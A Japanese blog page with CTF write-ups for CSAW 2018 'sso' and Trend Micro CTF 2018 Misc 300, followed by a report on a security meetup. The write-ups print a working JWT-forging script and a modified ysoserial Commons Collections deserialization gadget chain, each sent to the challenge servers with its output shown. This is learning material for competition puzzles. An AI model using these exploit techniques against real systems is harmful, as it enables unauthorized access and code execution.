こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CSAW CTF Quals 2018 - sso

問題文

Don't you love undocumented APIs
http://web.chal.csaw.io:9000/

f:id:graneed:20180917021551p:plain

writeup

HTMLソースを確認する。

  <h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>  

/protectedにアクセスすると、Missing header: Authorizationのエラー。

APIが2つ提供されている。但し、I/F仕様は不明。

  • /oauth2/authorize
  • /oauth2/token

OAuth2の手続きに沿って、上記APIを使用して認証してprotectedにアクセスすれば良さそうだ。ただ、各APIの仕様がわからないため、試行錯誤しながら手探りで進める。

結果、以下の方法でflagを取得できた。

  • /oauth2/authorizecodeを発行して/oauth2/tokenに渡すとtokenを入手できた。
  • tokenはJWTの仕様に則っており、デコードするとsecretを入手できた。
  • secretを使用すると、token情報内のtype情報を書き換えて署名できるため、typeuserからadminに書き換えた。
  • admintokenを付けて/protectedにリクエストするとflagをゲットできた。

以下、一気通貫で実行するコード。

import requests
import re
import json
import jwt

# authorizeからcode取得
r = requests.post("http://web.chal.csaw.io:9000/oauth2/authorize",
    data={
        "response_type":"code",
        "redirect_uri":"http://example.com/",
        },
    allow_redirects=False
)
print("[+] r.text:", r.text)

pattern = ".*code=(.*)&"
m = re.search(pattern, r.text)
if m:
    code = m.group(1)
    print("[+] code:", code)
    print(jwt.decode(code, algorithms=['HS256'], verify=False))
else:
    exit(1)

# tokenからcode取得
r = requests.post("http://web.chal.csaw.io:9000/oauth2/token",
    data={
        "grant_type":"authorization_code",
        "redirect_uri":"http://example.com/",
        "code":code
        },
    allow_redirects=False
)
print("[+] r.text:", r.text)

token=r.json()["token"]
print("[+] token:", token)

token_decode=jwt.decode(token, algorithms=['HS256'], verify=False)
print("[+] token_decode:", token_decode)

# JWTのsecret取得
secret = token_decode["secret"]
print("[+] secret:", secret)

# typeを書き換え
payload = r.json()
payload["type"]="admin"
print("[+] payload:", payload)

token=jwt.encode(payload, secret, "HS256")
print("[+] new token:", token)

r = requests.get("http://web.chal.csaw.io:9000/protected",
    allow_redirects=False,
    headers={
        "Authorization":"Bearer " + token.decode("utf-8")
    }
)

print(r.text)

実行結果はこちら。

Redirecting to <a href="http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&amp;state=">http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&amp;state=</a>.
[+] code: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY
{'redirect_uri': 'http://example.com/', 'iat': 1536991686, 'exp': 1536992286}
{"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo"}
[+] token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo
[+] token_decode: {'type': 'user', 'secret': 'ufoundme!', 'iat': 1536991686, 'exp': 1536992286}
[+] secret: ufoundme!
[+] payload: {'token_type': 'Bearer', 'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo', 'type': 'admin'}
[+] new token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiQmVhcmVyIiwidG9rZW4iOiJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKMGVYQmxJam9pZFhObGNpSXNJbk5sWTNKbGRDSTZJblZtYjNWdVpHMWxJU0lzSW1saGRDSTZNVFV6TmprNU1UWTROaXdpWlhod0lqb3hOVE0yT1RreU1qZzJmUS5FOFltb1A4V1VJcU5NZDIzaHdzR0UwR3g2c3l4RDNmenJoMTFRMEI2bFJvIiwidHlwZSI6ImFkbWluIn0.tjVSYPpE2mipLynJvx5L4T2dRud1gBZTmpEJvnJFz3U'
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

フラグゲット。
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}

Trend Micro CTF 2018 - Misc 300

問題文

The flag marshal has falsely imprisoned a flag for being a deserial killer. Your mission is simple, break the flag out of the marshal's jail (http://theflagmarshal.us-east-1.elasticbeanstalk.com/). In addition to the bad puns, you seem to have stumbled upon another clue, blueprint.war.

f:id:graneed:20180916124418p:plain

writeup

問題文から与えられたのは、URLとwarファイル。

URLにアクセスしても、檻に入ったフラグの画像のみ。

warファイルの調査

warファイルを、jd-guiで読む。 f:id:graneed:20180916124629p:plain

  • Flag.class
package com.trendmicro.jail;

import java.io.Serializable;

public class Flag
  implements Serializable
{
  static final long serialVersionUID = 6119813099625710381L;
  
  public static void getFlag()
    throws Exception
  {
    throw new Exception("<FLAG GOES HERE>");
  }
}

getFlagメソッドを呼ぶと、Flag文字列をメッセージにして例外を投げる。
よって、getFlagメソッドを呼ぶことがができれば、Flag文字列がStackTraceに出力されると思われる。

  • Server.class
package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/jail"})
public class Server
  extends HttpServlet
{
  private static final long serialVersionUID = 1L;
  
  protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    try
    {
      ServletInputStream is = request.getInputStream();
      ObjectInputStream ois = new CustomOIS(is);
      Person person = (Person)ois.readObject();
      ois.close();
      response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
    }
    catch (Exception e)
    {
      response.setStatus(500);
      e.printStackTrace(response.getWriter());
    }
  }
}

/jailが受け取ったリクエストデータから、シリアライズされたオブジェクトのバイナリを受け取る。バイナリをデシリアライズしてPersonクラスにCastし、nameフィールドをメッセージ表示する。

  • Person.class
package com.trendmicro;

import java.io.Serializable;

public class Person
  implements Serializable
{
  public String name;
  
  public Person(String name)
  {
    this.name = name;
  }
}

nameフィールドのみ持つデータクラス。

  • CustomOIS.class
package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import java.util.List;
import javax.servlet.ServletInputStream;

public class CustomOIS
  extends ObjectInputStream
{
  private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", 
    "java.lang.Exception", 
    "java.lang.Throwable", 
    "[Ljava.lang.StackTraceElement;", 
    "java.lang.StackTraceElement", 
    "java.util.Collections$UnmodifiableList", 
    "java.util.Collections$UnmodifiableCollection", 
    "java.util.ArrayList", 
    "org.apache.commons.collections.keyvalue.TiedMapEntry", 
    "org.apache.commons.collections.map.LazyMap", 
    "org.apache.commons.collections.functors.ChainedTransformer", 
    "[Lorg.apache.commons.collections.Transformer;", 
    "org.apache.commons.collections.functors.ConstantTransformer", 
    "com.trendmicro.jail.Flag", 
    "org.apache.commons.collections.functors.InvokerTransformer", 
    "[Ljava.lang.Object;", 
    "[Ljava.lang.Class;", 
    "java.lang.String", 
    "java.lang.Object", 
    "java.lang.Integer", 
    "java.lang.Number", 
    "java.util.HashMap", 
    "com.trendmicro.Person" };
  
  public CustomOIS(ServletInputStream is)
    throws IOException
  {
    super(is);
  }
  
  public Class<?> resolveClass(ObjectStreamClass des)
    throws IOException, ClassNotFoundException
  {
    if (!Arrays.asList(whitelist).contains(des.getName())) {
      throw new ClassNotFoundException("Cannot deserialize " + des.getName());
    }
    return super.resolveClass(des);
  }
}

ObjectInputStreamを継承したクラス。 resolveClassメソッドをオーバーライドし、whitelistでデシリアライズ可能なオブジェクトの制限をかけている。

  • commons-collection-3.1.jar

Apache Commonsのライブラリ。以下の脆弱性に該当するバージョン。

Apache Commonsのcollectionsの脆弱性に関連するリンク集をまとめてみた。 - piyolog

攻略

commons-collection-3.1.jarが持つ脆弱性は、オブジェクト内にオブジェクトをデシリアライズするタイミングでリフレクションを実行することで、任意のクラスのメソッドを実行できてしまう脆弱性のようだ。

Exploitのソースをいくつか読む。

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

[Java] Commons Collections の「リモートから任意のコマンドが実行できる脆弱性」のお勉強

Exploitのソースは、Runtimeクラスのexecメソッドを呼んで任意のコマンドを実行しているが、この問題はFlagクラスのgetFlagメソッドを呼べれば勝ち。

まずは、シンプルにシリアライズしたオブジェクトをサーバに投げる方法を確認しておく。シリアライズしたオブジェクトをファイルに出力するJavaソースは以下。

package com.trendmicro;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class TestObjectGen {

    public static void main(String args[]) throws Exception {
        String path = "Person.ser";

        FileOutputStream fout = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fout);
        oos.writeObject(new Person("hoge"));
        oos.close();

        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Person person = (Person) ois.readObject();
        System.out.println(person.name);
        ois.close();
    }
}

curlPerson.ser/jailに送信する。

root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Person.ser
Sorry hoge. I cannot let you have the Flag!.

hogeと出たので成功。

Exploitのソースを改造し、呼び出すクラス・メソッドだけ変えてもうまくいかない。シリアライズしているInvocationHandlerクラスは、CustomOISのwhitelistに入っていないことが原因。同じ原理であれば別のクラスでも実行できるということなので、他のExploitのソースを探す。

Javaシリアライズ系のToolといえばysoserial。

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

こちらのpayloadを漁ると、CommonsCollections5.javaで使用しているBadAttributeValueExpExceptionが、whitelistに入っている。これだ!

ysoserial/CommonsCollections5.java at master · frohoff/ysoserial · GitHub

Flag.getFlag()を呼ぶように改造する。

package com.trendmicro;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.trendmicro.jail.Flag;

public class PayloadObjectGen {

    public static void main(String args[]) throws Exception {
        String path = "Payload.ser";

        FileOutputStream fout = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fout);
        oos.writeObject(getObject());
        oos.close();

        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);

        String nameFromDisk = (String) ois.readObject();

        System.out.println(nameFromDisk);
        ois.close();

    }

    public static BadAttributeValueExpException getObject() throws Exception {
        final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getFlag", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        return val;
    }
}

試しに実行する。

Exception in thread "main" org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
    at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
    at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131)
    at javax.management.BadAttributeValueExpException.readObject(Unknown Source)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at java.io.ObjectStreamClass.invokeReadObject(Unknown Source)
    at java.io.ObjectInputStream.readSerialData(Unknown Source)
    at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
    at java.io.ObjectInputStream.readObject0(Unknown Source)
    at java.io.ObjectInputStream.readObject(Unknown Source)
    at com.trendmicro.PayloadObjectGen.main(PayloadObjectGen.java:35)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
    ... 15 more
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    ... 20 more
Caused by: java.lang.Exception: <FLAG GOES HERE>★★★
    at com.trendmicro.jail.Flag.getFlag(Flag.java:9)
    ... 24 more

シリアライズのタイミングで例外が発生し、StackTraceに<FLAG GOES HERE>が表示された!

curlでサーバに送信する。

root@kali:~# curl "http://theflagmarshal.us-east-1.elasticbeanstalk.com/jail" --data-binary @Payload.ser 
org.apache.commons.collections.FunctorException: InvokerTransformer: The method 'invoke' on 'class java.lang.reflect.Method' threw an exception
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
    at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
    at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
    at org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:131)
    at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2177)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2068)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1572)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:430)
    at com.trendmicro.Server.doPost(Server.java:31)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
    at org.apache.catalina.valves.RemoteIpValve.invoke(RemoteIpValve.java:685)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:650)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:800)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1471)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:125)
    ... 40 more
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    ... 45 more
Caused by: java.lang.Exception: TMCTF{15nuck9astTheF1agMarsha12day}★★★
    at com.trendmicro.jail.Flag.getFlag(Flag.java:10)
    ... 49 more

フラグゲット。
TMCTF{15nuck9astTheF1agMarsha12day}

security reject con + ssmjp参加レポ(20180914)

ssmjp.connpass.com

上記イベントに参加してきた。ssmjpのイベントは初参加。

取り急ぎレポートを書いた。⇒は私のコメント、補足。

0.前説

スピーカーはとある診断員 (@tigerszk) | Twitterさん。

初参加者向けに会の説明をして頂いた。アリガタヤー。

ssmとは「新橋 Study Meeding」の略。
過去、色々な呼ばれ方をしていたようだが、
最近は「ささみ」と呼ばれることが一般的らしい。
⇒私は心の中で「ししゃも」と呼んでいたが、切り替えていく。

発表テーマはなんでもOK。
ITとも全然関係ないネタもあったようだ。
「お風呂洗剤の話」「伝説のクソゲーの話」とか。
⇒フリーダム杉。でも聞きたかった。

公式はこちら。
ssm.pkan.org

slackに約50チャンネルあってワイワイやってるとのこと。

1.Future Architect様からのお知らせ

スピーカーは四川麻婆豆腐 (@hogehuga) | Twitterさん。

採用担当からrejectされたので、急遽登壇されたらしい。

空港の看板と女子ゴルファーのCMでおなじみの会社。

⇒これまたフリーダムな会社説明。自粛

FutureVulsというVulsのSaaS版の販売をしているが、
「売れないとVulsもなくなるやで」とのこと。以下リンク。

FutureVuls - Vulsクラウドサービス [Vuls SaaS]

デモサービスがある。
使いやすさにこだわって作ったから使ってみてとのこと。

2.We regret to inform you

スピーカーはAkira Kanaoka (金岡 晃) (@akirakanaoka) | Twitterさん。

研究テーマは主に以下。

  • ユーザブルセキュリティ
  • 暗号の応用とシステム化
  • モバイルセキュリティ

今回の資料作るために、過去のリジェクトメールを漁って、何回か心がやられたらしい。

学術=論文で評価される世界。

  • 論文誌 ←評価される
  • 国際会議 ←評価される
  • 国内研究会

トップカンファレンスは以下4つ。

  • IEEE S&P
  • USENIX Security Symposium
  • ACM CSS
  • もう一つ(見逃した)

暗号界隈のカンファレンスは以下3つ。

  • Crypto
  • Eurocrypt
  • Asiacrypt

カンファレンスにはランクがあり、トップカンファレンスを狙っておられるとのこと。

大きいカンファレンスの査読だと、
Reduttalといって査読コメントに反論するターンがあるらしい。
3~4日以内に500ワード以内で反論。
「大丈夫やで!大丈夫やで!」と説明するために文章を詰め込む。
うまい人はLinkを張って、「これで1語やろ(ドヤ」とするらしい。
⇒(一体、それは見てもらえるのだろうか?)

何度もrejectされた結果、戦略が大事なので勉強会を開催した。
そこでわかった大事なこと。

  • 長さ、広さ、深さ
    acceptされる論文はともに揃っている。
    1人ではやりきれない、分業制にする必要がある。

  • アブスト命、イントロ命
    ここで落ちる、落ちないが決まる。

  • 関連研究ものすごい、20~40当たり前。

  • 評価と考察がえげつない 。
    評価で6ページ使用していたりする。
    また、データ量も膨大。期間も長期。

  • 自分たちの手法や限界を書いている。

一度、RANK3の国際会議に通った! が、そこから連敗。

大量のWe regret inform you!のメール。
「ちな、sorryのケースもあるで!」とのこと。

落ちていく中でわかったこと

  • とにかく新規性
  • 3か月、半年といった期間がかかる
    日本の時限のプレーヤー(任期付き教員、ポスドク etc)が挑戦するのは大変。
  • スピード感
  • 文章力
  • 出さなきゃ、通らない

落ち続ける中で見えてくること

3.Your EV SSL certificate is crying -Gaps between SSL server operators and Contents designers-

スピーカーはYuji Sugaさん。

IIJのレポートを書いている。
最近だと2018-06 ROCA(RSA実装問題)。
⇒こちらですかね。
Vol.39 | Internet Infrastructure Review(IIR) | IIJの技術 | インターネットイニシアティブ(IIJ)

Real World Cryptography Conferenceに出してRejectされたものが発表テーマ。

全銀協で公開されている120の銀行のサイトを調べた。
うち、EVSSL"2"を使用しているのが一行。A銀行ェ・・・。
他、40bit暗号9行、60bit暗号25行。

銀行はちゃんとしてそうだったが、意外に、
SSL/TLS暗号の傾向をみると、一般サイトと差がない。

サイト内検索が問題になっているケースが多い。
例えば、サイト内検索の機能がhttpだったり。
EVSSL証明書なのに勿体ない。

銀行数は120銀行だが、システムベンダーの外注先が同じだからか、
同じ問題を抱えている銀行が多数。
あるベンダー1社が対応すれば、複数の銀行が救われるのに。

ちょっと話が変わって、Chromeのバグで、
EVSS証明書のOIDの順序が異なるだけで、
EVSSの判定がされないことがあった。
⇒お、8月にすみだ勉強会で聞いた話だ!以下参考。
個人でEV SSL証明書が欲しい話 - Speaker Deck

もうEVSSいらないのでは?という論議になっている。
Googleが、Symantecの証明書を排除したり、ChromeのEVSSサイト表示時のバーの色が緑から灰色になったり。 EVSS証明書の意義がなくなってきた。

4.サイバーセキュリティ錬金術

スピーカーはIsao Takaesu (@bbr_bbq) | Twitterさん。

⇒早速資料を公開されていた。
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -

インターネット上のデータを価値あるデータに錬金する手法。

HTMLのタグ仕様を元ネタに、 HTML構文の正しさや、XSSのalert発火有無を評価値にして学習させてモデルを作り、 モデルからXSSの検査値を生成する話。

[Step1. 検査値の基を収集]

HTML解説サイトからタグや属性を収集

[Step2. 遺伝的アルゴリズム(GA)で検査値を生成]

各要素をGAにおける遺伝子として定義し、
環境に適合した最適な遺伝子の組み合わせを求める。

  • HTML構文として正しいか?
  • スクリプトが動作するか? の手法で評価。

[Step3. 生成モデル(GAN)で大量の検査値を生成]

GANとは?
G=模倣者がお手本データから贋作を作成する
D=鑑定士がそれを見破ろうとする
これを繰り返して学習精度を高める。

徐々に訓練データに近似したデータを生成できる。
生成すると、全く新しいパターンができることもある。
また、GANを繰り返し回すことで、新しいデータを生成できる。

鑑定士をWAFにして、検出を比較してみた。
WAFがFalse Positiveなのに本手法で検出できているものもあれば、
WAFが検知したのに、本手法ではFalse Negativeのものもあった。
また、応答速度にも難がある。

今後の課題

  • 生成した検査値/ブラックリストの実証実験
  • 人間では思いつかない検査値の生成
  • 他分野への応用

5.リジェクト・キャンプ行ってきましたヽ(´ー`)ノ

スピーカーはsonodamさん。

先日お披露目のあった日本ハッカー協会の理事。

リジェクトネタ1本目

指摘事項は以下。

  • サンプルが100しかない。
  • SVMとかとちゃんと比べて説得力を。
  • テストベッドとリアルなデータセットを使ったの?
  • 英語がいまいち

リジェクトネタ2本目

1本目を改良した2本目。
指摘事項は以下。

  • 検出精度を改善したほうが良いんじゃない
  • SCW推しみたいなんだけどSVMのほうが良いやん
  • プレゼン貧弱やろ
  • 英語が・・・

おもしろい論文は英語が結構ひどい。
そればかり読んでいると英語参考サンプルが不足気味になる。

また、指摘に沿ってReject修正すると元々の論文のバランスが崩れることもある。

そもそもニッチな領域だと「評価できる専門家」が多くないのでは?

例えば、評価を依頼される側として、ものすごく頓珍漢な依頼をされたことがある。
ゴムの話とか・・・

リジェクトキャンプ

2008年に開催したことがある。
⇒これですかね。
Rejectキャンプに行ってきました | 日経 xTECH(クロステック)

当時の問題意識。
セキュリティはネットワーク系だけやっててもいかん。
(ブラックボックス製品使うだけ)
海外のイケてないサポートとやりとりするだけ。

Rejectされた人たちが集まってコード書いているのを見て、縦割り的な断絶感は大人が持っているイメージだけだった。学生にはセキュリティは選択肢の一つに見えているだけ。

6.NKの内部事情

スピーカーはととろさん。

  • 2015年北朝鮮が話題に
  • 一旦、会社広報は発表OK
  • が、実態を知った会社から発表NG →危なすぎるやろ!という理由

RedStar・・・北朝鮮のOS
Wikipediaにも普通に載っていますね。
Red Star OS - Wikipedia

ここでデモあり。(但しログイン画面まで)
ログイン画面は、Macの画面によく似てる。

2015年当時のMacOSをコピーしたのでは。

なんと、日本語のマニュアルを作成した。
社内のハングルがわかるメンバーに和訳してもらった。

インストール手順も、まんまMacOS

北朝鮮製CAのルート証明書入っている。
情報抜かれ放題。

FireFoxベースのブラウザが入っている。
表示したHTMLを解析し、twitterfacebookのリンクを表示しないようにしている。

脆弱性を使用してroot取得できるようにしてiptablesを見てみると、デフォルトで諸々設定が入っている。(写真撮り漏れた、残念。)

また、isoファイルにstringsコマンドかけて"MAC"でgrepすると、ばんばんHITする。
Appleのソースパッケージを盗んで作成しているようだ。

OSはインターネット上に落ちている。
また、解析した結果が英文でのっている。